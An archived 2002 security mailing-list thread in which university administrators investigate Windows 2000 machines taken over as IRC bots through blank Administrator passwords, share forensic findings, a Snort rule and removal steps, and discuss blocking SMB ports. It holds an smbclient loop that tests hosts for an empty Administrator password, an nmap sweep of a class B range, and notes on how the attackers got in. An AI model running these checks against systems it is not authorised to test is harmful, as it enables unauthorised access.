IP number provided, determine if the site has an open admin passwd. while read ip; do echo quit |\ smbclient "//$ip/c\$" '' -U Administrator >/dev/null 2>&1 && echo $ip done I found open systems... of course. You will to if you scan your campus. From reggers@ist.uwaterloo.ca Thu May 2 23:42:07 2002 Date: Mon, 8 Apr 2002 16:25:08 -0400 Subject: Re: [unisog] Re: Coordinated Scan From: Reg Quinton To: unisog@sans.org > accessible by Administrator with "" password using smbclient. I used > nmap to find those machines that look like Windows For the record, since some have asked, to find Windows machines I did this: nmap -p135,445 -oM - 129.97.1-254.1-254 |\ awk '/\/open\// {print $2}' To find anyone with port 135 or 445 open. Those are the traditional and new SMB services. That runs fairly fast. Say 30min to scan our class B net. I hope this helps. From andy@umbc.edu Thu May 2 23:42:07 2002 Date: Mon, 8 Apr 2002 17:01:09 -0400 Subject: Re: [unisog] Re: Coordinated Scan From: Anderson Johnston To: Reg Quinton Cc: unisog@sans.org I've found that the "-T aggressive" option speeds things up as well without causing any actual damage. - andy On Mon, 8 Apr 2002, Reg Quinton wrote: > > accessible by Administrator with "" password using smbclient. I used > > nmap to find those machines that look like Windows > > For the record, since some have asked, to find Windows machines > I did this: > > nmap -p135,445 -oM - 129.97.1-254.1-254 |\ > awk '/\/open\// {print $2}' > > To find anyone with port 135 or 445 open. Those > are the traditional and new SMB services. > > That runs fairly fast. Say 30min to scan our class B > net. > > I hope this helps. > > ------------------------------------------------------------------------------ ** Andy Johnston (andy@umbc.edu) * pager: 410-678-8949 ** ** Manager of IT Security * PGP key:(afj2002) 4096/8448B056 ** ** Office of Information Technology, UMBC * 4A B4 96 64 D9 B6 EF E3 21 9A ** ** 410-455-2583 (v)/410-455-1065 (f) * 46 1A 37 11 F5 6C 84 48 B0 56 ** ------------------------------------------------------------------------------ From allen@rescomp.berkeley.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 10:20:35 -0700 (PDT) Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans on them From: Allen Chang To: Huba Leidenfrost Cc: unisog@sans.org, its-security-list@uidaho.edu We have been looking at this for 2-3 weeks now. The degree of infection/compromise varies. The machines compromised on our network were all Win2k without Administrator passwords. It appears that a bot is being used to compromise the machine and the owner comes around later to run sua.bat and do all sorts of juicy stuff. A probable method is using PsExec to start telnet. Our machines also had a directory created in C:\RECYCLYER that had the same name as the recycle bin and was attrib +s +r +h. That apparently was set as the upload dir for the XDCC bot. Also, \winnt\system32\vmn32\ contains the contents of vmn32.exe. Including lsass.exe, which is used to open multiple services. The IRC channel passwords are actually in one of the mirc.ini files (haven't had time to look). It probably uses strange ASCII characters but it's in there somewhere. I'm refining removal instructions right now and will forward to the list when completed. @llen Network Security Residential Computing UC Berkeley On Wed, 10 Apr 2002, Huba Leidenfrost wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Some forensics work by one of our system administrators came up with > the following on the latest win2k box that was found dishing out DoS > traffic (huge number of small sized flows). I've enclosed the > gates.txt file found which appears to be a huge list open proxies? The gates.txt is a file that is standard to the gtbot bot control trojan. Not quite sure what the file is used for. temp.scr, temp.exe and temp2.exe are also standard from gtbot. Temp.exe is mIRC client and temp2.exe seems to be just a window hider. > Other infected systems? If you notice something in common about all > those systems please let me know. I would suggest adding a rule to > your NIDS boxes to watch for outgoing connections from your > network(s) to http://home.earthlink.net/~e03913/dll32nos.exe. If you > use SNORT here's what works for me: > alert ip $HOME_NET any -> 207.217.98.0/24 80 (msg:"DarkIRC trojan > retrieval"; classtype:bad-unknown; uricontent:"/dll32nos.exe"; > nocase; sid 536; rev:1;) > > > > 02/27/2002 > > temp.exe (looks like MIRC icon, etc.) > oxcu.ini (Backdoor.IRC.Flood.h) > 2xvll.ocx (Backdoor.IRC.Cloner) > > I am unable to find the drop... bummer. > Located in \winnt\system32, complete scripts available... > > 03/05/2002 > > 32dll.ocx (Backdoor.IRC.Flood.a) > 32dllxp.ocx (Backdoor.IRC.Flood.a) > > Also in /winnt/system32, complete nonsense script available > > 03/10/2002 > > r32.exe (exact copy of below, name change) > rudl32.exe (our dropper friend for the darkIRC services) > > Also in /winnt/system32 > > 03/15/2002 > > vmn32.exe (the complete package, w/ web server, irc server, ftp > server, etc...) > > Also in /winnt/system32, this is where sua.bat of virii past executes > after decompression > > 03/26/2002 > > Check this out, something keeps trying to connect to -> > > http://home.earthlink.net/~e03913/dll32nos.exe > > and a file gets created, but it is the error > page of 'service overload' from Earthlink, so a bogus > 32dllnos.exe get created in /winnt/system32/ -> > it contains the html returned from Earthlink > > 03/30/2002 > > Another failed attempt to connect to the above link > > 04/01/2002 > > Success, LOL... dll32nos.exe is acquired and its > setup is executed, a new month of bandwidth provides -> > > 2xvll.ocx (Backdoor.IRC.Cloner) > 32dll.ocx (Backdoor.IRC.Flood.a) > 32dllxp.ocx (Backdoor.IRC.Flood.a) > fsearch.ini (scripts, finds all *.mpg, *.avi, etc. on host ->) > gates.txt (a huge list of names, attached) > oxcu.ini (Backdoor.IRC.Flood.h) > temp.exe (looks like MIRC icon, etc.) > temp.scr (huge list of IRC user names?) > temp2.exe (which F-Secure identifies as 'Destructive Code') > > 04/08/2002 > > svchost.exe (from vmn32.exe) is invoked > > After the firewall > > I bring the ethernet online, and svchost.ext immediately > tries to connect out to: > > ircu.bredband.com > 195.54.102.4:6667 > > Also, unknown packets tcp are attempting to leave > the client station.... LOL, rules created, I'll > make a list of IPs in the morning... > > > - From the verbage on the error message at > http://home.earthlink.net/~e03913/dll32nos.exe it would appear that > this has been a popular website this month. > > - --------------- > "Sorry...Page Temporarily Unavailable > > The Web page or file that you requested is temporarily unavailable. > It has been so popular this month that it exceeded its free monthly > traffic allotment. Access to this Web site will be restored on the > first of next month. Please come back then. > > Thank you for your visit!" > - ------------------------- > > beast.npac.syr.edu, cheetah.bradley.edu, > client42153.atl.mediaone.net, proxy.ihp.sinica.edu.tw, > relarn-relay.tasur.edu.ru, & triton.pwsbia.edu.pl are the .edu sites > I noticed from the attached gates.txt. I'll call around in the > morning and try to find out what these have in common. > > BTW if anyone has any good advice on how to sniff IRC channels and > passwords from IRC bound traffic please let me know. Ideally when I > spot one of these I'd like to be able to watch more carefully before > turning a system off. Any tools for snarfing just IRC commands sort > of like Dug Songs urlsnarf? > > H u b a > - - - - -- > --- O HUBA LEIDENFROST Systems Security Analyst > -- <^- huba@uidaho.edu Information Technology Services > -- -\/\ www.its.uidaho.edu/info-security/runsafe.htm > --- \ TEL: 208.885.2126 FAX: 208.885.7539 > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 6.5.8 for non-commercial use > > iQA/AwUBPLP16kpG2S0cMeJwEQKFxgCgke9r38NzCYhX3z8s0WAttSaunyoAnjE2 > CfUs16tyo0XeguLdmiOEc5IH > =a6Xo > -----END PGP SIGNATURE----- > From dittrich@cac.washington.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 11:55:01 -0700 (PDT) Subject: [unisog] Re: Infected windows boxes with IRC controlled trojans on them From: Dave Dittrich To: unisog@sans.org > BTW if anyone has any good advice on how to sniff IRC channels and > passwords from IRC bound traffic please let me know. Ideally when I > spot one of these I'd like to be able to watch more carefully before > turning a system off. Any tools for snarfing just IRC commands sort > of like Dug Songs urlsnarf? We were hit with the same thing. In several cases, it was related to DDoS attacks. In others, distributed warez via bots using DCC. Short answer is look at "ngrep". I have examples of its use in the Trinoo, Stacheldraht, and "Power" bot, DDoS analyses on my DDoS page: http://staff.washington.edu/dittrich/misc/ddos/ Also useful are "tcpdstat" and "tcptrace". I am also working on a talk to be given at CanSecWest about taking down IRC based DDoS networks. (Look for a link to the talk notes on my web page in early May.) -- Dave Dittrich Computing & Communications dittrich@cac.washington.edu University Computing Services http://staff.washington.edu/dittrich University of Washington PGP key http://staff.washington.edu/dittrich/pgpkey.txt Fingerprint FE 97 0C 57 08 43 F3 EB 49 A1 0C D0 8E 0C D0 BE C8 38 CC B5 From tal1@its.nyu.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 16:29:30 -0400 Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans on them From: Tracey Losco To: unisog@sans.org We have had a number of our machines hit with this and I think that it started when I started the discussion of the coordinated scans we saw about 2 or 3 weeks back. One of our technicians, Christian, sent the following message after doing some forensics on an infected machine: >Here's what i found. On startup a file called RUDL32.EXE is executed, this >spawns a number of sxeNN.TMP files (all random) and locates them in the >startup folder. > >One thing i found that was different from the email [sent on unisog >with infor on what files to look for] was that once the mIRC >client is launched it references a mirc.ini file created by the virus that >contains the script /run *path temp2.exe. deleting this file along with >DLL32NOS[1].exe will stop the client from running. Then by deleting >RUDL32.exe you stop the sxeNN processes from occuring at startup. The >FTP-Serv function seemed to be absent from this infection. Again, this only affected machines that _did not_ have their Admin passwords set ... He also had the following comments on removal after inspecting a second machine: >First of all, NAV [Norton Anti Virus] had already quartined a number >of files on this machine and identified them as having been infected >with a number of viruses and files associated with those: > >W32.lxd.mirc = Whvlxd.exe - quarantined. This was an old virus, it >just places the file WHVLXD.exe in the /System folder and adds a >value to the registry: >HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. No >idea why this file was there. It's not dropping anything though. >Norton picked it up and moved it, and we still had the same issues. > >In the registry under >HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run >you'll find 2 instances of CMD32.exe being referenced, delete these values. > >Also, do a registry search for Firedeamon.exe. You'll most likely >find it in a key called 'Filesof TypeMRU' under the 'Explorer Bars' >key. Delete the entire 'Filesof TypeMRU' key. Note: you'll also find >references to the current DarkIRC client in the form of sxeNN.tmp >which leads me to believe that the key is created at startup - >therefore deleting if may not have any effect. > >Firedaemon can turn any program into a system service, and is >configurable from a command prompt so perhaps some paramaters were >tacked on and that was why CMD32.exe was running at startup.Taking >the CMD32 value out of >HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run >stopped service > >Could this have anything to do with the UNICODE exploit? Probably >not, the only thing it shares in common with Backdoor.NTHack seems >to be the use of FirDaemon to bind to Serv-U. I didn't check for >serv-u.exe or anything like that but there were two LSAS.exe >processes running on the infected machine and about 4 simultaneous >FireDaemon.exe processes going on too. > >This is probably another mutation of the DarkIRC worm, only finding >it on Win2k boxes with blank admin passwords. It looks like there may be a few versions of this out there...or, some of the compromises weren't able to fully complete their install? If anyone can come up with better solutions on how to get rid of this, input is welcomed. :-) Tracey -------------------------------------------------------------------- Tracey Losco Network Security Analyst security@nyu.edu ITS - Network Services http://www.nyu.edu/its/security New York University (212) 998 - 3433 PGP Fingerprint: 8FFB FE47 6156 7BF0 B19E 462B 9DFE 51F5 At 10:20 AM -0700 4/10/02, Allen Chang wrote: >We have been looking at this for 2-3 weeks now. The degree of >infection/compromise varies. The machines compromised on our network were >all Win2k without Administrator passwords. It appears that a bot is being >used to compromise the machine and the owner comes around later to run >sua.bat and do all sorts of juicy stuff. A probable method is using PsExec >to start telnet. > >Our machines also had a directory created in C:\RECYCLYER that had the >same name as the recycle bin and was attrib +s +r +h. That apparently was >set as the upload dir for the XDCC bot. > >Also, \winnt\system32\vmn32\ contains the contents of vmn32.exe. Including >lsass.exe, which is used to open multiple services. > >The IRC channel passwords are actually in one of the mirc.ini files >(haven't had time to look). It probably uses strange ASCII characters but >it's in there somewhere. > >I'm refining removal instructions right now and will forward to the list >when completed. > >@llen >Network Security >Residential Computing >UC Berkeley > From mnx@utk.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 16:30:31 -0400 Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans on them From: Mark Newman To: unisog@sans.org Can anyone comment on the method of exploit? Admin shares and anonymous enumeration have been the commonality with machines here...but, *how* was this done? the IRC controlled machines here were apparently compromised the same way as machines found running w32time.exe (7000/tcp ...Ataman telnet) I already know what files were placed on the compromised machines. Would appreciate anyone's comments on the method. Thanks, Mark Newman University of Tennessee From jtillots@pharmacy.purdue.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 16:37:15 -0500 (EST) Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans on them From: Jenett Tillotson To: Mark Newman Cc: unisog@sans.org On our Windows 2000 machines, I'm pretty sure this was a brute force hack on accounts with administrator privileges. So far, all 2000 machines we've had compromised had easy to guess passwords. Also, I have reports of people with logs showing multiple attempts to break into accounts on the machines - 160 total. So, I suspect it's just the top 160 possible passwords (blank password, the name of the machine, the username, abc123, etc.). On Windows NT machines, it's a different story. So far, all machines that I've seen that have been compromised were not running SP6. All machines that have had SP6 installed were fine. All machines that were not running SP6 were compromised. So, this is a security hole, but we're unsure what hole that is. I've heard of a security hole in NT with the null user request allowing access to the box in some bad way, but this is just a rumor so far. Jenett Tillotson School of Pharmacy Purdue University On Wed, 10 Apr 2002, Mark Newman wrote: > Can anyone comment on the method of exploit? > > Admin shares and anonymous enumeration have been the commonality with > machines here...but, *how* was this done? > > the IRC controlled machines here were apparently compromised the same way as > machines found running w32time.exe (7000/tcp ...Ataman telnet) > > I already know what files were placed on the compromised machines. > > Would appreciate anyone's comments on the method. > > Thanks, > Mark Newman > University of Tennessee > > From flynngn@jmu.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 17:44:19 -0400 Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans on them From: Gary Flynn To: unisog@sans.org Mark Newman wrote: > > Can anyone comment on the method of exploit? > > Admin shares and anonymous enumeration have been the commonality with > machines here...but, *how* was this done? Along the same vein, I'd like to know if anyone that blocks netbios at the Internet border has seen this. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe From pauls@utdallas.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 17:45:14 -0500 Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans on them From: Paul Schmehl To: Gary Flynn , unisog@sans.org No, we haven't seen any of this, and we've been looking. We block 135-139 UDP/TCP and 445 UDP/TCP. --On Wednesday, April 10, 2002 5:44 PM -0400 Gary Flynn wrote: > Mark Newman wrote: >> >> Can anyone comment on the method of exploit? >> >> Admin shares and anonymous enumeration have been the >> commonality with machines here...but, *how* was this >> done? > > Along the same vein, I'd like to know if anyone that > blocks netbios at the Internet border has seen this. Paul Schmehl (pauls@utdallas.edu) Supervisor of Support Services The University of Texas at Dallas AVIEN Founding Member From huba@uidaho.edu Thu May 2 23:42:07 2002 Date: Wed, 10 Apr 2002 16:03:03 -0700 Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans on them From: Huba Leidenfrost To: unisog@sans.org My apologies BTW for the funky attachment from my previous message. I should have referred to it or sent it to anyone that wanted a copy. Believe me I wasn't trying to massage everyone's MTAs in order to find out what type of anti-virus gateway protection is being used. I'm of the opinion that I will have to put up a honeypot pronto and set the administrator password to abc123 and see who comes knocking. Perhaps I can solve this puzzle. -Huba *** Not encrypted nor signed data is left *** End of not encrypted nor signed data From allen@rescomp.berkeley.edu Thu May 2 23:42:09 2002 Date: Wed, 10 Apr 2002 21:35:39 -0700 (PDT) Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans on them From: Allen Chang To: Huba Leidenfrost Cc: unisog@sans.org I'm not too savvy with IRC but it probably isn't too hard to jump in the IRC channel that is used for the gtbot control and watch the botmaster control and possibly trace the IP even. I'm pretty sure that one of the ways that the computers were compromised was by using PSExec On computers that don't have an Administrator password set, it's almost trivial to have the computer download and install gtbot. The computer logs onto irc, start the MS telnet service and you have complete control. From what I've seen on this list, sua.bat varies. The ones we have found are very sparse and only do the bare minimum. Anyone have other ideas? @llen Network Security Residential Computing UC Berkeley On Wed, 10 Apr 2002, Huba Leidenfrost wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > My apologies BTW for the funky attachment from my previous message. > I should have referred to it or sent it to anyone that wanted a copy. > Believe me I wasn't trying to massage everyone's MTAs in order to > find out what type of anti-virus gateway protection is being used. > > I'm of the opinion that I will have to put up a honeypot pronto and > set the administrator password to abc123 and see who comes knocking. > Perhaps I can solve this puzzle. > > - -Huba > > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 7.0.3 for non-commercial use > > iQA/AwUBPLTEp0pG2S0cMeJwEQJ/swCg6O2XrvGkUOVBiWguV6Cgm5Uky58AoPjB > i3Zy1aTt6pIxQM8nerWNvYT/ > =PdZx > -----END PGP SIGNATURE----- > > From morrow.long@yale.edu Thu May 2 23:42:09 2002 Date: Thu, 11 Apr 2002 03:52:07 -0400 Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans on them From: H. Morrow Long To: Gary Flynn Cc: unisog@sans.org We've not seen this and since the beginning of this year we've been blocking NetBIOS over TCP/IP (including TCP port 445) at our border with the Internet. We have seen similar attacks however by intruders who managed to get access to accounts on Unix/Linux machines inside our network and then used the 'smbclient' program to accomplish similar compromises - but on Windows 98 PCs. The intruder used some scripts to semi-automate their probes and install their trojan software on the disk shares (they were actually using the 'pico' text editor to add invocation lines to the remote c:\autoexec.bat and various *.INI files). We found one such intruder in January (on multiple occassions using different accounts) in the act of attacking other universities (the intruder was logging in from yet another University) -- whom we stopped and we notified the other universities. - H. Morrow Long University Information Security Officer Yale University, ITS, Dir. InfoSec Office Gary Flynn wrote: > > Mark Newman wrote: > > > > Can anyone comment on the method of exploit? > > > > Admin shares and anonymous enumeration have been the commonality with > > machines here...but, *how* was this done? > > Along the same vein, I'd like to know if anyone that blocks netbios at > the Internet border has seen this. [ Part 2, "S/MIME Cryptographic Signature" ] [ Application/X-PKCS7-SIGNATURE 5.8KB. ] [ Unable to print this part. ] From chris.cramer@duke.edu Thu May 2 23:42:09 2002 Date: Thu, 11 Apr 2002 09:01:52 -0400 (EDT) Subject: RE: [unisog] Infected windows boxes with IRC controlled trojans on them From: Christopher E. Cramer To: Allen Chang Cc: Huba Leidenfrost , unisog@sans.org In our post-mortem of one box we found the scanner called Fluxay (http://www.netxeyes.com/down.html) the scanner enumerates accounts and then dictionary attacks those with administrator privileges. blocking ports 135-139 and 445 should prevent both the enumeration and the remote access. once the password for an administrator account is known, as you said, it's trivial to install an IRC bot. -c Christopher E. Cramer, Ph.D. Information Technology Security Officer Duke University, Office of Information Technology 253A North Building, Box 90132, Durham, NC 27708-0291 PH: 919-660-7003 FAX: 919-660-7076 email: chris.cramer@duke.edu On Wed, 10 Apr 2002, Allen Chang wrote: > I'm not too savvy with IRC but it probably isn't too hard to jump in the > IRC channel that is used for the gtbot control and watch the botmaster > control and possibly trace the IP even. > > I'm pretty sure that one of the ways that the computers were compromised > was by using PSExec > On computers > that don't have an Administrator password set, it's almost trivial to have > the computer download and install gtbot. The computer logs onto irc, start > the MS telnet service and you have complete control. From what I've seen > on this list, sua.bat varies. The ones we have found are very sparse and > only do the bare minimum. > > Anyone have other ideas? > > @llen > Network Security > Residential Computing > UC Berkeley > > On Wed, 10 Apr 2002, Huba Leidenfrost wrote: > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > My apologies BTW for the funky attachment from my previous message. > > I should have referred to it or sent it to anyone that wanted a copy. > > Believe me I wasn't trying to massage everyone's MTAs in order to > > find out what type of anti-virus gateway protection is being used. > > > > I'm of the opinion that I will have to put up a honeypot pronto and > > set the administrator password to abc123 and see who comes knocking. > > Perhaps I can solve this puzzle. > > > > - -Huba > > > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGPfreeware 7.0.3 for non-commercial use > > > > iQA/AwUBPLTEp0pG2S0cMeJwEQJ/swCg6O2XrvGkUOVBiWguV6Cgm5Uky58AoPjB > > i3Zy1aTt6pIxQM8nerWNvYT/ > > =PdZx > > -----END PGP SIGNATURE----- > > > > > From flynngn@jmu.edu Thu May 2 23:42:09 2002 Date: Thu, 11 Apr 2002 09:06:14 -0400 Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans onthem From: Gary Flynn To: unisog@sans.org Allen Chang wrote: > > I'm not too savvy with IRC but it probably isn't too hard to jump in the > IRC channel that is used for the gtbot control and watch the botmaster > control and possibly trace the IP even. Ideally, I would think it would be more desirable to notify law enforcement of the channel so they can set up a "sting" operation and wait for the controller to connect. Granted, the controller is likely using a compromised computer and law enforcement will likely have to backtrack but ultimately its really law enforcement that is going to have to take this thing by the handle and track down the culprits if we're ever to stop this random vandalism. Cutting off ISP accounts isn't much of a deterrent. -- Gary Flynn Security Engineer - Technical Services James Madison University Please R.U.N.S.A.F.E. http://www.jmu.edu/computing/runsafe From sneeri@nts.umd.edu Thu May 2 23:42:09 2002 Date: Thu, 11 Apr 2002 13:23:21 -0400 (Eastern Daylight Time) Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans onthem From: Gerry Sneeringer To: unisog@sans.org Here at Maryland, we have seen quite a bit of this in recent days. In our case as well, each host was a win2k box w/ a weak or null administrator password. It appears that a worm passed through and in addition to the IRC bot, also dropped an ftp server on tcp/22222 and an sshd on tcp/65300. The IRC bot establishes a connection with the #Gotwarez? channel and starts advertising that it has zero files available for XDCC transfer. At a later point, a small number of Warez files (or DVD's) appear on the host. The XDCC advertisement includes the string: "Fuck Milk...Gotwarez?" A Snort pattern match on that string produced a number of hits within a few minutes. I crawled into the sewer (i.e. connected to #gotwarez?) and listed the bots and found 83 .EDU hosts from 16 different domains active. I'll be dropping a note to each school as soon as I have a moment. -Gerry --- Gerry Sneeringer IT Security Officer University of Maryland, College Park PGP key: http://nts.umd.edu/~sneeri/pgp.txt PGP fingerprint: D8 31 14 26 3D 60 22 53 CB 12 A8 01 C0 BE BA 81 From mnx@utk.edu Thu May 2 23:42:09 2002 Date: Thu, 11 Apr 2002 15:52:56 -0400 Subject: Re: [unisog] Infected windows boxes with IRC controlled trojans onthem From: Mark Newman To: unisog@sans.org Why hasn't any EDU CERT organization or SANS commented on this? I realize this is *seemingly* the use of a well known vulnerability but, the kit's footprint has to be unique enough to be worthy of mention somewhere. I know it *resembles* GT/Bot. The trojaned w32time.exe is also widespread enough to be worthy of mention. I've counted 8 or 10 organizations on this list that have seen this...everyone on 3/22? We had machines on campus that were considered to be secure, had excellent admin passwords, and are managed by very competent admins that were still affected by the w32time.exe trojan. No way could they have cracked the passwords with a brute force attack and not be spotted. Something is odd about all this but, I don't know what it is yet. Mark Newman University of Tennessee From Phil.Rodrigues@uconn.edu Thu May 2 23:42:09 2002 Date: Thu, 18 Apr 2002 14:04:46 -0400 Subject: [unisog] Blocking Windows Networking at the Border? From: Phil.Rodrigues@uconn.edu To: unisog@sans.org Hi, The University of Connecticut experienced all the fun Windows hacks of the last few weeks that everyone else did ("Got Warez?" XDCC bots, W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all pretty much as a result of allowing Windows Networking across our Internet link. With 8,500 students and a few thousand staff computers on the network *someone* will have a weak share. We have been considering blocking ports 135-139/445 at the routers for a few weeks now for privacy issues (the assumption that things shared on the "local network" are only accessible by other University computers) and after all of this we are considering it for security reasons as well. We have never blocked anything before, and none of us really wants to start down this slippery slope, but user education about open shares and strong passwords only seems so effective. What are other schools doing to combat these types of problems? Are many of you blocking Windows Networking at the border? Do those that choose not to block it have compelling reasons to keep it open, or do you leave it open because "it has always been that way"? Thanks for your input, and shoot me a private reply if you prefer. Phil ======================================= Philip A. Rodrigues Network Analyst, UITS University of Connecticut email: phil.rodrigues@uconn.edu phone: 860.486.3743 fax: 860.486.6580 web: http://www.security.uconn.edu ======================================= From dgulje@housing.ucsb.edu Thu May 2 23:42:09 2002 Date: Tue, 23 Apr 2002 08:33:57 -0700 Subject: RE: [unisog] Blocking Windows Networking at the Border? From: Daxter Gulje To: unisog@sans.org We began blocking said ports here at UC Santa Barbara a couple of weeks ago, and since then the only time we've experienced the fun Windows hacks that you mention are from students compromised prior to our blocking those ports. Works like a charm so far, and not a single complaint yet... (//jinx) /Dax __________________________________________ Daxter Gulje Assistant ResNet Coordinator University of California, Santa Barbara 805.893.4747 -----Original Message----- From: Phil.Rodrigues@uconn.edu [mailto:Phil.Rodrigues@uconn.edu] Sent: Thursday, April 18, 2002 11:05 AM To: unisog@sans.org Subject: [unisog] Blocking Windows Networking at the Border? Hi, The University of Connecticut experienced all the fun Windows hacks of the last few weeks that everyone else did ("Got Warez?" XDCC bots, W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all pretty much as a result of allowing Windows Networking across our Internet link. With 8,500 students and a few thousand staff computers on the network *someone* will have a weak share. We have been considering blocking ports 135-139/445 at the routers for a few weeks now for privacy issues (the assumption that things shared on the "local network" are only accessible by other University computers) and after all of this we are considering it for security reasons as well. We have never blocked anything before, and none of us really wants to start down this slippery slope, but user education about open shares and strong passwords only seems so effective. What are other schools doing to combat these types of problems? Are many of you blocking Windows Networking at the border? Do those that choose not to block it have compelling reasons to keep it open, or do you leave it open because "it has always been that way"? Thanks for your input, and shoot me a private reply if you prefer. Phil ======================================= Philip A. Rodrigues Network Analyst, UITS University of Connecticut email: phil.rodrigues@uconn.edu phone: 860.486.3743 fax: 860.486.6580 web: http://www.security.uconn.edu ======================================= From paland@stetson.edu Thu May 2 23:42:09 2002 Date: Tue, 23 Apr 2002 11:49:37 -0400 Subject: Re: [unisog] Blocking Windows Networking at the Border? From: Patrick Aland To: Phil.Rodrigues@uconn.edu Cc: unisog@sans.org We block everything inbound except what is explicitly allowed. We do this for a number of reasons: open windows shares, students running webservers, student running ftp sites, etc. We try to be as open as possible so if an application requires a certain port open inbound we try and accomodate, if it requires all ports open inbound than we have to draw a line somewhere. This decission was made probably 5 years ago and we really don't hear many complaints. Generally only the few that want to run webservers from their dorms. On Thu, Apr 18, 2002 at 02:04:46PM -0400, Phil.Rodrigues@uconn.edu wrote: > Hi, > > The University of Connecticut experienced all the fun Windows hacks of the > last few weeks that everyone else did ("Got Warez?" XDCC bots, > W32Time/FluxaySensor Trojan/Password crackers, MIRC-DOS scripts), all > pretty much as a result of allowing Windows Networking across our Internet > link. With 8,500 students and a few thousand staff computers on the > network *someone* will have a weak share. > > We have been considering blocking ports 135-139/445 at the routers for a > few weeks now for privacy issues (the assumption that things shared on the > "local network" are only accessible by other University computers) and > after all of this we are considering it for security reasons as well. We > have never blocked anything before, and none of us really wants to start > down this slippery slope, but user education about open shares and strong > passwords only seems so effective. > > What are other schools doing to combat these types of problems? Are many > of you blocking Windows Networking at the border? Do those that choose > not to block it have compelling reasons to keep it open, or do you leave > it open because "it has always been that way"? > > Thanks for your input, and shoot me a private reply if you prefer. > > Phil > > ======================================= > Philip A. Rodrigues > Network Analyst, UITS > University of Connecticut > > email: phil.rodrigues@uconn.edu > phone: 860.486.3743 > fax: 860.486.6580 > web: http://www.security.uconn.edu > ======================================= -- ------------------------------------------------------------ Patrick Aland paland@stetson.edu Network Administrator Voice: 386.822.7217 Stetson University Fax: 386.822.7367 ------------------------------------------------------------ [ Part 2, Application/PGP-SIGNATURE 240bytes. ] [ Unable to print this part. ] From pauls@utdallas.edu Thu May 2 23:42:09 2002 Date: Tue, 23 Apr 2002 16:10:09 -0500 Subject: Re: [unisog] Blocking Windows Networking at the Border? From: Paul Schmehl To: Phil.Rodrigues@uconn.edu, unisog@sans.org We've been blocking those ports for years, and we haven't had a single complaint that I can recall. When Win2k came out, we added 445 TCP/UDP to the list. As a result, we haven't experienced any of the problems that you refer to. IMO, the Windows networking environment is far too fragile to expose it to the Internet. --On Thursday, April 18, 2002 2:04 PM -0400 Phil.Rodrigues@uconn.edu wrote: > Hi, > > The University of Connecticut experienced all the fun > Windows hacks of the last few weeks that everyone else > did ("Got Warez?" XDCC bots, W32Time/FluxaySensor > Trojan/Password crackers, MIRC-DOS scripts), all pretty > much as a result of allowing Windows Networking across > our Internet link. With 8,500 students and a few > thousand staff computers on the network *someone* will > have a weak share. Paul Schmehl (pauls@utdallas.edu) Supervisor of Support Services The University of Texas at Dallas AVIEN Founding Member